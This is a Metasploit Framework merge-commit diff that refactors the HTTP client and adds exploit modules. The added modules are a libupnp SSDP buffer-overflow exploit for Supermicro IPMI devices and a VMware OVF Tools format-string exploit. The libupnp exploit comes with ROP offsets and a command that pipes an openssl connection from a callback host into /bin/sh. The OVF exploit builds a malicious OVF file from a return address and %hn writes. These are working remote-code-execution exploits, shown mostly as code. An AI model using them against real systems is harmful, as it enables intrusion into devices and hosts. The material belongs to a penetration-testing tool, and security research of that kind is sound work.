Merge pull request #5 from jlee-r7/dmaloney-r7-http/auth_methods

Return a Request object
bug/bundler_fix
dmaloney-r7 2013-02-07 07:06:03 -08:00
commit e13f16c5f5
19 changed files with 775 additions and 93 deletions

Binary file not shown.

View File

@ -260,7 +260,8 @@ public abstract class RpcConnection {
// Don't fork cause we'll check if it dies
String rpcType = "Basic";
java.util.List args = new java.util.ArrayList(java.util.Arrays.asList(new String[]{
"msfrpcd","-f","-P",defaultPass,"-t","Msg","-U",defaultUser,"-a","127.0.0.1"}));
"msfrpcd","-f","-P",defaultPass,"-t","Msg","-U",defaultUser,"-a","127.0.0.1",
"-p",Integer.toString(defaultPort)}));
if(!defaultSsl)
args.add("-S");
if(disableDb)

View File

@ -151,27 +151,44 @@ class Client
#
# Create an arbitrary HTTP request
#
# @param opts [Hash]
# @option opts 'agent' [String] User-Agent header value
# @option opts 'basic_auth' [String] Basic-Auth header value
# @option opts 'connection' [String] Connection header value
# @option opts 'cookie' [String] Cookie header value
# @option opts 'data' [String] HTTP data (only useful with some methods, see rfc2616)
# @option opts 'encode' [Bool] URI encode the supplied URI, default: false
# @option opts 'headers' [Hash] HTTP headers, e.g. <code>{ "X-MyHeader" => "value" }</code>
# @option opts 'method' [String] HTTP method to use in the request, not limited to standard methods defined by rfc2616, default: GET
# @option opts 'proto' [String] protocol, default: HTTP
# @option opts 'query' [String] raw query string
# @option opts 'raw_headers' [Hash] HTTP headers
# @option opts 'uri' [String] the URI to request
# @option opts 'version' [String] version of the protocol, default: 1.1
# @option opts 'vhost' [String] Host header value
#
# @return [Request]
def request_raw(opts={})
c_enc = opts['encode'] || false
c_uri = opts['uri'] || '/'
c_ag = opts['agent'] || config['agent']
c_auth = opts['basic_auth'] || config['basic_auth'] || ''
c_body = opts['data'] || ''
c_conn = opts['connection']
c_cook = opts['cookie'] || config['cookie']
c_enc = opts['encode'] || false
c_head = opts['headers'] || config['headers'] || {}
c_host = opts['vhost'] || config['vhost'] || self.hostname
c_meth = opts['method'] || 'GET'
c_prot = opts['proto'] || 'HTTP'
c_vers = opts['version'] || config['version'] || '1.1'
c_qs = opts['query']
c_ag = opts['agent'] || config['agent']
c_cook = opts['cookie'] || config['cookie']
c_host = opts['vhost'] || config['vhost'] || self.hostname
c_head = opts['headers'] || config['headers'] || {}
c_rawh = opts['raw_headers']|| config['raw_headers'] || ''
c_conn = opts['connection']
c_auth = opts['basic_auth'] || config['basic_auth'] || ''
c_uri = opts['uri'] || '/'
c_vers = opts['version'] || config['version'] || '1.1'
# An agent parameter was specified, but so was a header, prefer the header
if c_ag and c_head.keys.map{|x| x.downcase }.include?('user-agent')
c_ag = nil
end
uri = set_uri(c_uri)
req = ''
@ -191,7 +208,6 @@ class Client
req << set_host_header(c_host)
req << set_agent_header(c_ag)
if (c_auth.length > 0)
req << set_basic_auth_header(c_auth)
end
@ -201,53 +217,45 @@ class Client
req << set_extra_headers(c_head)
req << set_raw_headers(c_rawh)
req << set_body(c_body)
{:string => req , :opts => opts}
request = Request.new
request.parse(req)
request.options = opts
request
end
#
# Create a CGI compatible request
#
# Options:
# - agent: User-Agent header value
# - basic_auth: Basic-Auth header value
# - connection: Connection header value
# - cookie: Cookie header value
# - ctype: Content-Type header value, default: +application/x-www-form-urlencoded+
# - data: HTTP data (only useful with some methods, see rfc2616)
# - encode: URI encode the supplied URI, default: false
# - encode_params: URI encode the GET or POST variables (names and values), default: true
# - headers: HTTP headers as a hash, e.g. <code>{ "X-MyHeader" => "value" }</code>
# - method: HTTP method to use in the request, not limited to standard methods defined by rfc2616, default: GET
# - proto: protocol, default: HTTP
# - query: raw query string
# - raw_headers: HTTP headers as a hash
# - uri: the URI to request
# - vars_get: GET variables as a hash to be translated into a query string
# - vars_post: POST variables as a hash to be translated into POST data
# - version: version of the protocol, default: 1.1
# - vhost: Host header value
# @param (see #request_raw)
# @option opts (see #request_raw)
# @option opts 'ctype' [String] Content-Type header value, default: +application/x-www-form-urlencoded+
# @option opts 'encode_params' [Bool] URI encode the GET or POST variables (names and values), default: true
# @option opts 'vars_get' [Hash] GET variables as a hash to be translated into a query string
# @option opts 'vars_post' [Hash] POST variables as a hash to be translated into POST data
#
# @return [Request]
def request_cgi(opts={})
c_ag = opts['agent'] || config['agent']
c_body = opts['data'] || ''
c_cgi = opts['uri'] || '/'
c_conn = opts['connection']
c_cook = opts['cookie'] || config['cookie']
c_enc = opts['encode'] || false
c_enc_p = (opts['encode_params'] == true or opts['encode_params'].nil? ? true : false)
c_cgi = opts['uri'] || '/'
c_body = opts['data'] || ''
c_meth = opts['method'] || 'GET'
c_prot = opts['proto'] || 'HTTP'
c_vers = opts['version'] || config['version'] || '1.1'
c_qs = opts['query'] || ''
c_varg = opts['vars_get'] || {}
c_varp = opts['vars_post'] || {}
c_head = opts['headers'] || config['headers'] || {}
c_host = opts['vhost'] || config['vhost']
c_meth = opts['method'] || 'GET'
c_path = opts['path_info']
c_prot = opts['proto'] || 'HTTP'
c_qs = opts['query'] || ''
c_rawh = opts['raw_headers'] || config['raw_headers'] || ''
c_type = opts['ctype'] || 'application/x-www-form-urlencoded'
c_ag = opts['agent'] || config['agent']
c_cook = opts['cookie'] || config['cookie']
c_host = opts['vhost'] || config['vhost']
c_conn = opts['connection']
c_path = opts['path_info']
c_varg = opts['vars_get'] || {}
c_varp = opts['vars_post'] || {}
c_vers = opts['version'] || config['version'] || '1.1'
uri = set_cgi(c_cgi)
qstr = c_qs
@ -264,7 +272,7 @@ class Client
c_varg.each_pair do |var,val|
qstr << '&' if qstr.length > 0
qstr << (c_enc_p ? set_encode_uri(var) : var)
qstr << (c_enc_p ? set_encode_uri(var) : var)
qstr << '='
qstr << (c_enc_p ? set_encode_uri(val) : val)
end
@ -315,12 +323,19 @@ class Client
req << set_raw_headers(c_rawh)
req << set_body(pstr)
{:string => req , :opts => opts}
request = Request.new
request.parse(req)
request.options = opts
request
end
#
# Connects to the remote server if possible.
#
# @param t [Fixnum] Timeout
# @see Rex::Socket::Tcp.create
# @return [Rex::Socket::Tcp]
def connect(t = -1)
# If we already have a connection and we aren't pipelining, close it.
if (self.conn)
@ -360,28 +375,29 @@ class Client
#
# Sends a request and gets a response back
# If the request is a 401, and we have creds, it will attempt to
# complete authentication and return the final response
#
# If the request is a 401, and we have creds, it will attempt to complete
# authentication and return the final response
#
def send_recv(req, t = -1, persist=false)
opts = req[:opts]
req = req[:string]
res = _send_recv(req,t,persist)
if res and res.code == 401 and res.headers['WWW-Authenticate'] and have_creds?
res = send_auth(res, opts, t, persist)
res = send_auth(res, req.options, t, persist)
end
res
end
#
# Transmit an HTTP request and receive the response
# If persist is set, then the request will attempt
# to reuse an existing connection.
#
# If persist is set, then the request will attempt to reuse an existing
# connection.
#
# Call this directly instead of {#send_recv} if you don't want automatic
# authentication handling.
#
# @return [Response]
def _send_recv(req, t = -1, persist=false)
if req.kind_of? Hash and req[:string]
req = req[:string]
end
@pipeline = persist
send_request(req, t)
res = read_response(t)
@ -392,12 +408,14 @@ class Client
#
# Send an HTTP request to the server
#
# @param req [Request,#to_s] The request to send
# @param t (see #connect)
def send_request(req, t = -1)
connect(t)
conn.put(req.to_s)
end
# Validates that the client has creds
# Validates that the client has creds
def have_creds?
!(self.username.nil?) && self.username != ''
end
@ -420,7 +438,7 @@ class Client
else
opts['headers'] = { 'Authorization' => basic_auth_header(self.username,self.password)}
end
req = request_cgi(opts)
res = _send_recv(req,t,persist)
return res
@ -628,7 +646,7 @@ class Client
opts['password'] ||= self.password.to_s
if opts['provider'] and opts['provider'].include? 'Negotiate'
provider = "Negotiate "
provider = "Negotiate "
else
provider = 'NTLM '
end

View File

@ -48,6 +48,8 @@ class Request < Packet
end
end
attr_accessor :options
#
# Initializes an instance of an HTTP request with the supplied method, URI,
# and protocol.

View File

@ -76,7 +76,7 @@ class Metasploit3 < Msf::Auxiliary
:category => "web",
:method => "GET"
})
loot = store_loot("lfi.data","text/plain",rhost, res.body,file)
vprint_good("#{rhost}:#{rport} - File #{file} downloaded to: #{loot}")
elsif res and res.code
@ -89,7 +89,7 @@ class Metasploit3 < Msf::Auxiliary
pass = datastore['PASSWORD']
vprint_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
#test login
begin
res = send_request_cgi({

View File

@ -19,7 +19,10 @@ class Metasploit3 < Msf::Auxiliary
This module attempts to identify Ruby on Rails instances vulnerable to
an arbitrary object instantiation flaw in the XML request processor.
},
'Author' => 'hdm',
'Author' => [
'hdm', #author
'jjarmoc' #improvements
],
'License' => MSF_LICENSE,
'References' =>
[
@ -29,7 +32,8 @@ class Metasploit3 < Msf::Auxiliary
))
register_options([
OptString.new('URIPATH', [true, "The URI to test", "/"])
OptString.new('URIPATH', [true, "The URI to test", "/"]),
OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT'] ]),
], self.class)
end
@ -37,7 +41,7 @@ class Metasploit3 < Msf::Auxiliary
odata = %Q^<?xml version="1.0" encoding="UTF-8"?>\n<probe type="#{ptype}"><![CDATA[\n#{pdata}\n]]></probe>^
res = send_request_cgi({
'uri' => datastore['URIPATH'] || "/",
'method' => 'POST',
'method' => datastore['HTTP_METHOD'],
'ctype' => 'application/xml',
'data' => odata
}, 25)
@ -46,29 +50,35 @@ class Metasploit3 < Msf::Auxiliary
def run_host(ip)
res1 = send_probe("string", "hello")
res2 = send_probe("yaml", "--- !ruby/object:Time {}\n")
res3 = send_probe("yaml", "--- !ruby/object:\x00")
unless res1
vprint_status("#{rhost}:#{rport} No reply to the initial XML request")
return
end
if res1.code.to_s =~ /^[5]/
vprint_status("#{rhost}:#{rport} The server replied with #{res1.code} for our initial XML request, double check URIPATH")
return
end
res2 = send_probe("yaml", "--- !ruby/object:Time {}\n")
unless res2
vprint_status("#{rhost}:#{rport} No reply to the initial YAML probe")
return
end
res3 = send_probe("yaml", "--- !ruby/object:\x00")
unless res3
vprint_status("#{rhost}:#{rport} No reply to the second YAML probe")
return
end
if res1.code.to_s =~ /^[45]/
vprint_status("#{rhost}:#{rport} The server replied with #{res1.code} for our initial XML request, double check URIPATH")
end
vprint_status("Probe response codes: #{res1.code} / #{res2.code} / #{res3.code}")
if res2.code.to_s =~ /^[23]/ and res3.code != res2.code and res3.code != 200
if (res2.code == res1.code) and (res3.code != res2.code) and (res3.code != 200)
print_good("#{rhost}:#{rport} is likely vulnerable due to a #{res3.code} reply for invalid YAML")
report_vuln({
:host => rhost,
@ -79,7 +89,7 @@ class Metasploit3 < Msf::Auxiliary
:refs => self.references
})
else
vprint_status("#{rhost}:#{rport} is not likely to be vulnerable or URIPATH must be set")
vprint_status("#{rhost}:#{rport} is not likely to be vulnerable or URIPATH & HTTP_METHOD must be set")
end
end

View File

@ -37,7 +37,7 @@ class Metasploit3 < Msf::Auxiliary
end
def get_ppooe_credentials(conf)
def get_pppoe_credentials(conf)
user = ""
password = ""
@ -208,7 +208,7 @@ class Metasploit3 < Msf::Auxiliary
get_ftp_credentials(conf)
get_dvr_credentials(conf)
get_ddns_credentials(conf)
get_ppooe_credentials(conf)
get_pppoe_credentials(conf)
dvr_name = ""
if res.body =~ /DVR_NAME=(.*)/

View File

@ -38,7 +38,7 @@ class Metasploit3 < Msf::Auxiliary
"ST:upnp:rootdevice\r\n" +
"Man:\"ssdp:discover\"\r\n" +
"MX:3\r\n" +
"\r\n\r\n" # Non-standard, but helps
"\r\n"
end
def scanner_prescan(batch)
@ -144,14 +144,14 @@ class Metasploit3 < Msf::Auxiliary
}
}
if data =~ /^Server:[\s]*(.*)/i
if data =~ /^Server:[\s]*(.*)/mi
@results[skey][:info][:server] = $1.strip
end
ssdp_host = nil
ssdp_port = 80
location_string = ''
if data =~ /^Location:[\s]*(.*)/i
if data =~ /^Location:[\s]*(.*)/mi
location_string = $1
@results[skey][:info][:location] = $1.strip
if location_string[/(https?):\x2f\x2f([^\x5c\x2f]+)/]
@ -168,7 +168,7 @@ class Metasploit3 < Msf::Auxiliary
end
end
if data =~ /^USN:[\s]*(.*)/i
if data =~ /^USN:[\s]*(.*)/mi
@results[skey][:info][:usn] = $1.strip
end

View File

@ -55,8 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote
[
Opt::RPORT(80),
OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),
OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"])
OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT'] ])
], self.class)
end

View File

@ -53,8 +53,7 @@ class Metasploit3 < Msf::Exploit::Remote
[
Opt::RPORT(80),
OptString.new('URIPATH', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),
OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"])
OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT'] ])
], self.class)
register_evasion_options(

View File

@ -28,7 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote
[
'evilcry', # pbot analysis'
'Jay Turla', # pbot analysis
'@bwallHatesTwits', # PoC
'bwall', # aka @bwallHatesTwits, PoC
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,

View File

@ -0,0 +1,349 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
def initialize(info = {})
super(update_info(info,
'Name' => 'Portable UPnP SDK unique_service_name() Remote Code Execution',
'Description' => %q{
This module exploits a buffer overflow in the unique_service_name()
function of libupnp's SSDP processor. The libupnp library is used across
thousands of devices and is referred to as the Intel SDK for UPnP
Devices or the Portable SDK for UPnP Devices.
Due to size limitations on many devices, this exploit uses a separate TCP
listener to stage the real payload.
},
'Author' => [
'hdm', # Exploit dev for Supermicro IPMI
'Alex Eubanks <endeavor[at]rainbowsandpwnies.com>', # Exploit dev for Supermicro IPMI
'Richard Harman <richard[at]richardharman.com>' # Binaries, system info, testing for Supermicro IPMI
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2012-5958' ],
[ 'US-CERT-VU', '922681' ],
[ 'URL', 'https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play' ]
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => true,
'Payload' =>
{
#
# # The following BadChars do not apply since we stage the payload
# # through a secondary connection. This is just for reference.
#
# 'BadChars' =>
# # Bytes 0-8 are not allowed
# [*(0..8)].pack("C*") +
# # 0x09, 0x0a, 0x0d are allowed
# "\x0b\x0c\x0e\x0f" +
# # All remaining bytes up to space are restricted
# [*(0x10..0x1f)].pack("C*") +
# # Also not allowed
# "\x7f\x3a" +
# # Breaks our string quoting
# "\x22",
# Unlimited since we stage this over a secondary connection
'Space' => 8000,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
# specific payloads vary widely by device (openssl for IPMI, etc)
}
},
'Targets' =>
[
[ "Automatic", { } ],
#
# ROP targets are difficult to represent in the hash, use callbacks instead
#
[ "Supermicro Onboard IPMI (X9SCL/X9SCM) Intel SDK 1.3.1", {
# The callback handles all target-specific settings
:callback => :target_supermicro_ipmi_131,
# This matches any line of the SSDP M-SEARCH response
:fingerprint =>
/Server:\s*Linux\/2\.6\.17\.WB_WPCM450\.1\.3 UPnP\/1\.0, Intel SDK for UPnP devices\/1\.3\.1/mi
#
# SSDP response:
# Linux/2.6.17.WB_WPCM450.1.3 UPnP/1.0, Intel SDK for UPnP devices/1.3.1
# http://192.168.xx.xx:49152/IPMIdevicedesc.xml
# uuid:Upnp-IPMI-1_0-1234567890001::upnp:rootdevice
# Approximately 35,000 of these found in the wild via critical.io scans (2013-02-03)
} ],
[ "Debug Target", {
# The callback handles all target-specific settings
:callback => :target_debug
} ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 29 2013'))
register_options(
[
Opt::RHOST(),
Opt::RPORT(1900),
OptAddress.new('CBHOST', [ false, "The listener address used for staging the real payload" ]),
OptPort.new('CBPORT', [ false, "The listener port used for staging the real payload" ])
], self.class)
end
def exploit
configure_socket
target_info = choose_target
unless self.respond_to?(target_info[:callback])
print_error("Invalid target specified: no callback function defined")
return
end
buffer = self.send(target_info[:callback])
pkt =
"M-SEARCH * HTTP/1.1\r\n" +
"Host:239.255.255.250:1900\r\n" +
"ST:uuid:schemas:device:" + buffer + ":end\r\n" +
"Man:\"ssdp:discover\"\r\n" +
"MX:3\r\n\r\n"
print_status("Exploiting #{rhost} with target '#{target_info.name}' with #{pkt.length} bytes to port #{rport}...")
r = udp_sock.sendto(pkt, rhost, rport, 0)
1.upto(5) do
::IO.select(nil, nil, nil, 1)
break if session_created?
end
# No handler() support right now
end
# These devices are armle, run version 1.3.1 of libupnp, have random stacks, but no PIE on libc
def target_supermicro_ipmi_131
# Create a fixed-size buffer for the payload
buffer = Rex::Text.rand_text_alpha(2000)
# Place the entire buffer inside of double-quotes to take advantage of is_qdtext_char()
buffer[0,1] = '"'
buffer[1999,1] = '"'
# Prefer CBHOST, but use LHOST, or autodetect the IP otherwise
cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])
# Start a listener
start_listener(true)
# Figure out the port we picked
cbport = self.service.getsockname[2]
# Restart the service and use openssl to stage the real payload
# Staged because only ~150 bytes of contiguous data are available before mangling
cmd = "sleep 1;/bin/upnp_dev & echo; openssl s_client -quiet -host #{cbhost} -port #{cbport}|/bin/sh;exit;#"
buffer[432, cmd.length] = cmd
# Adjust $r3 to point from the bottom of the stack back into our buffer
buffer[304,4] = [0x4009daf8].pack("V") #
# 0x4009daf8: add r3, r3, r4, lsl #2
# 0x4009dafc: ldr r0, [r3, #512] ; 0x200
# 0x4009db00: pop {r4, r10, pc}
# The offset (right-shifted by 2 ) to our command string above
buffer[284,4] = [0xfffffe78].pack("V") #
# Copy $r3 into $r0
buffer[316,4] = [0x400db0ac].pack("V")
# 0x400db0ac <_IO_wfile_underflow+1184>: sub r0, r3, #1
# 0x400db0b0 <_IO_wfile_underflow+1188>: pop {pc} ; (ldr pc, [sp], #4)
# Move our stack pointer down so as not to corrupt our payload
buffer[320,4] = [0x400a5568].pack("V")
# 0x400a5568 <__default_rt_sa_restorer_v2+5448>: add sp, sp, #408 ; 0x198
# 0x400a556c <__default_rt_sa_restorer_v2+5452>: pop {r4, r5, pc}
# Finally return to system() with $r0 pointing to our string
buffer[141,4] = [0x400add8c].pack("V")
return buffer
=begin
00008000-00029000 r-xp 00000000 08:01 709233 /bin/upnp_dev
00031000-00032000 rwxp 00021000 08:01 709233 /bin/upnp_dev
00032000-00055000 rwxp 00000000 00:00 0 [heap]
40000000-40015000 r-xp 00000000 08:01 709562 /lib/ld-2.3.5.so
40015000-40017000 rwxp 00000000 00:00 0
4001c000-4001d000 r-xp 00014000 08:01 709562 /lib/ld-2.3.5.so
4001d000-4001e000 rwxp 00015000 08:01 709562 /lib/ld-2.3.5.so
4001e000-4002d000 r-xp 00000000 08:01 709535 /lib/libpthread-0.10.so
4002d000-40034000 ---p 0000f000 08:01 709535 /lib/libpthread-0.10.so
40034000-40035000 r-xp 0000e000 08:01 709535 /lib/libpthread-0.10.so
40035000-40036000 rwxp 0000f000 08:01 709535 /lib/libpthread-0.10.so
40036000-40078000 rwxp 00000000 00:00 0
40078000-40180000 r-xp 00000000 08:01 709620 /lib/libc-2.3.5.so
40180000-40182000 r-xp 00108000 08:01 709620 /lib/libc-2.3.5.so
40182000-40185000 rwxp 0010a000 08:01 709620 /lib/libc-2.3.5.so
40185000-40187000 rwxp 00000000 00:00 0
bd600000-bd601000 ---p 00000000 00:00 0
bd601000-bd800000 rwxp 00000000 00:00 0
bd800000-bd801000 ---p 00000000 00:00 0
bd801000-bda00000 rwxp 00000000 00:00 0
bdc00000-bdc01000 ---p 00000000 00:00 0
bdc01000-bde00000 rwxp 00000000 00:00 0
be000000-be001000 ---p 00000000 00:00 0
be001000-be200000 rwxp 00000000 00:00 0
be941000-be956000 rwxp 00000000 00:00 0 [stack]
=end
end
# Generate a buffer that provides a starting point for exploit development
def target_debug
buffer = Rex::Text.pattern_create(2000)
end
def stage_real_payload(cli)
print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")
cli.put(payload.encoded + "\n")
end
def start_listener(ssl = false)
comm = datastore['ListenerComm']
if comm == "local"
comm = ::Rex::Socket::Comm::Local
else
comm = nil
end
self.service = Rex::Socket::TcpServer.create(
'LocalPort' => datastore['CBPORT'],
'SSL' => ssl,
'SSLCert' => datastore['SSLCert'],
'Comm' => comm,
'Context' =>
{
'Msf' => framework,
'MsfExploit' => self,
})
self.service.on_client_connect_proc = Proc.new { |client|
stage_real_payload(client)
}
# Start the listening service
self.service.start
end
#
# Shut down any running services
#
def cleanup
super
if self.service
print_status("Shutting down payload stager listener...")
begin
self.service.deref if self.service.kind_of?(Rex::Service)
if self.service.kind_of?(Rex::Socket)
self.service.close
self.service.stop
end
self.service = nil
rescue ::Exception
end
end
end
def choose_target
# If the user specified a target, use that one
return self.target unless self.target.name =~ /Automatic/
msearch =
"M-SEARCH * HTTP/1.1\r\n" +
"Host:239.255.255.250:1900\r\n" +
"ST:upnp:rootdevice\r\n" +
"Man:\"ssdp:discover\"\r\n" +
"MX:3\r\n\r\n"
# Fingerprint the service through SSDP
udp_sock.sendto(msearch, rhost, rport, 0)
res = nil
1.upto(5) do
res,addr,info = udp_sock.recvfrom(65535, 1.0)
break if res and res =~ /^(Server|Location)/mi
udp_sock.sendto(msearch, rhost, rport, 0)
end
self.targets.each do |t|
return t if t[:fingerprint] and res =~ t[:fingerprint]
end
if res and res.to_s.length > 0
print_status("No target matches this fingerprint")
print_status("")
res.to_s.split("\n").each do |line|
print_status(" #{line.strip}")
end
print_status("")
else
print_status("The system #{rhost} did not reply to our M-SEARCH probe")
end
fail_with(Exploit::Failure::NoTarget, "No compatible target detected")
end
# Accessor for our TCP payload stager
attr_accessor :service
# We need an unconnected socket because SSDP replies often come
# from a different sent port than the one we sent to. This also
# breaks the standard UDP mixin.
def configure_socket
self.udp_sock = Rex::Socket::Udp.create({
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
})
add_socket(self.udp_sock)
end
#
# Required since we aren't using the normal mixins
#
def rhost
datastore['RHOST']
end
def rport
datastore['RPORT']
end
# Accessor for our UDP socket
attr_accessor :udp_sock
end

View File

@ -25,8 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Author' =>
[
'Unknown', # 0day found in the wild
'@sn0wfl0w', # initial analysis
'@vicheck', # initial analysis
'sn0wfl0w', # initial analysis, also @vicheck on twitter
'jduck' # Metasploit module
],
'References' =>

View File

@ -49,7 +49,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Author' =>
[
'unknown', # discovered in the wild
'@yuange1975', # PoC posted to twitter
'Yuange', # PoC posted to twitter under @yuange1975
'Matteo Memelli', # exploit-db version
'jduck' # Metasploit module
],

View File

@ -0,0 +1,134 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info={})
super(update_info(info,
'Name' => 'VMWare OVF Tools Format String Vulnerability',
'Description' => %q{
This module exploits a format string vulnerability in VMWare OVF Tools 2.1 for
Windows. The vulnerability occurs when printing error messages while parsing a
a malformed OVF file. The module has been tested successfully with VMWare OVF Tools
2.1 on Windows XP SP3.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Jeremy Brown', # Vulnerability discovery
'juan vazquez' # Metasploit Module
],
'References' =>
[
[ 'CVE', '2012-3569' ],
[ 'OSVDB', '87117' ],
[ 'BID', '56468' ],
[ 'URL', 'http://www.vmware.com/security/advisories/VMSA-2012-0015.html' ]
],
'Payload' =>
{
'DisableNops' => true,
'BadChars' =>
(0x00..0x08).to_a.pack("C*") +
"\x0b\x0c\x0e\x0f" +
(0x10..0x1f).to_a.pack("C*") +
(0x80..0xff).to_a.pack("C*") +
"\x22",
'StackAdjustment' => -3500,
'PrependEncoder' => "\x54\x59", # push esp # pop ecx
'EncoderOptions' =>
{
'BufferRegister' => 'ECX',
'BufferOffset' => 6
}
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
# vmware-ovftool-2.1.0-467744-win-i386.msi
[ 'VMWare OVF Tools 2.1 on Windows XP SP3',
{
'Ret' => 0x7852753d, # call esp # MSVCR90.dll 9.00.30729.4148 installed with VMware OVF Tools 2.1
'AddrPops' => 98,
'StackPadding' => 38081,
'Alignment' => 4096
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Nov 08 2012',
'DefaultTarget' => 0))
end
def ovf
my_payload = rand_text_alpha(4) # ebp
my_payload << [target.ret].pack("V") # eip # call esp
my_payload << payload.encoded
fs = rand_text_alpha(target['StackPadding']) # Padding until address aligned to 0x10000 (for example 0x120000)
fs << rand_text_alpha(target['Alignment']) # Align to 0x11000
fs << my_payload
# 65536 => 0x10000
# 27 => Error message prefix length
fs << rand_text_alpha(65536 - 27 - target['StackPadding'] - target['Alignment'] - my_payload.length - (target['AddrPops'] * 8))
fs << "%08x" * target['AddrPops'] # Reach saved EBP
fs << "%hn" # Overwrite LSW of saved EBP with 0x1000
ovf_file = <<-EOF
<?xml version="1.0" encoding="UTF-8"?>
<Envelope vmw:buildId="build-162856" xmlns="http://schemas.dmtf.org/ovf/envelope/1"
xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common"
xmlns:ovf="http://schemas.dmtf.org/ovf/envelope/1"
xmlns:rasd="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_ResourceAllocationSettingData"
xmlns:vmw="http://www.vmware.com/schema/ovf"
xmlns:vssd="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_VirtualSystemSettingData"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<References>
<File ovf:href="Small VM-disk1.vmdk" ovf:id="file1" ovf:size="68096" />
</References>
<DiskSection>
<Info>Virtual disk information</Info>
<Disk ovf:capacity="8" ovf:capacityAllocationUnits="#{fs}" ovf:diskId="vmdisk1" ovf:fileRef="file1" ovf:format="http://www.vmware.com/interfaces/specifications/vmdk.html#streamOptimized" />
</DiskSection>
<VirtualSystem ovf:id="Small VM">
<Info>A virtual machine</Info>
</VirtualSystem>
</Envelope>
EOF
ovf_file
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
if agent !~ /VMware-client/ or agent !~ /ovfTool/
print_status("User agent #{agent} not recognized, answering Not Found...")
send_not_found(cli)
end
if uri =~ /.mf$/
# The manifest file isn't required
print_status("Sending Not Found for Manifest file request...")
send_not_found(cli)
end
print_status("Sending OVF exploit...")
send_response(cli, ovf, {'Content-Type'=>'text/xml'})
end
end

View File

@ -25,8 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Author' =>
[
'Unknown', # 0day found in the wild
'@sn0wfl0w', # initial analysis
'@vicheck', # initial analysis
'sn0wfl0w', # initial analysis, also @vicheck on twitter
'jduck' # Metasploit module
],
'References' =>

View File

@ -0,0 +1,119 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'VMWare OVF Tools Format String Vulnerability',
'Description' => %q{
This module exploits a format string vulnerability in VMWare OVF Tools 2.1 for
Windows. The vulnerability occurs when printing error messages while parsing a
a malformed OVF file. The module has been tested successfully with VMWare OVF Tools
2.1 on Windows XP SP3.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Jeremy Brown', # Vulnerability discovery
'juan vazquez' # Metasploit Module
],
'References' =>
[
[ 'CVE', '2012-3569' ],
[ 'OSVDB', '87117' ],
[ 'BID', '56468' ],
[ 'URL', 'http://www.vmware.com/security/advisories/VMSA-2012-0015.html' ]
],
'Payload' =>
{
'DisableNops' => true,
'BadChars' =>
(0x00..0x08).to_a.pack("C*") +
"\x0b\x0c\x0e\x0f" +
(0x10..0x1f).to_a.pack("C*") +
(0x80..0xff).to_a.pack("C*") +
"\x22",
'StackAdjustment' => -3500,
'PrependEncoder' => "\x54\x59", # push esp # pop ecx
'EncoderOptions' =>
{
'BufferRegister' => 'ECX',
'BufferOffset' => 6
}
},
'Platform' => 'win',
'Targets' =>
[
# vmware-ovftool-2.1.0-467744-win-i386.msi
[ 'VMWare OVF Tools 2.1 on Windows XP SP3',
{
'Ret' => 0x7852753d, # call esp # MSVCR90.dll 9.00.30729.4148 installed with VMware OVF Tools 2.1
'AddrPops' => 98,
'StackPadding' => 38081,
'Alignment' => 4096
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Nov 08 2012',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.ovf']),
], self.class)
end
def ovf
my_payload = rand_text_alpha(4) # ebp
my_payload << [target.ret].pack("V") # eip # call esp
my_payload << payload.encoded
fs = rand_text_alpha(target['StackPadding']) # Padding until address aligned to 0x10000 (for example 0x120000)
fs << rand_text_alpha(target['Alignment']) # Align to 0x11000
fs << my_payload
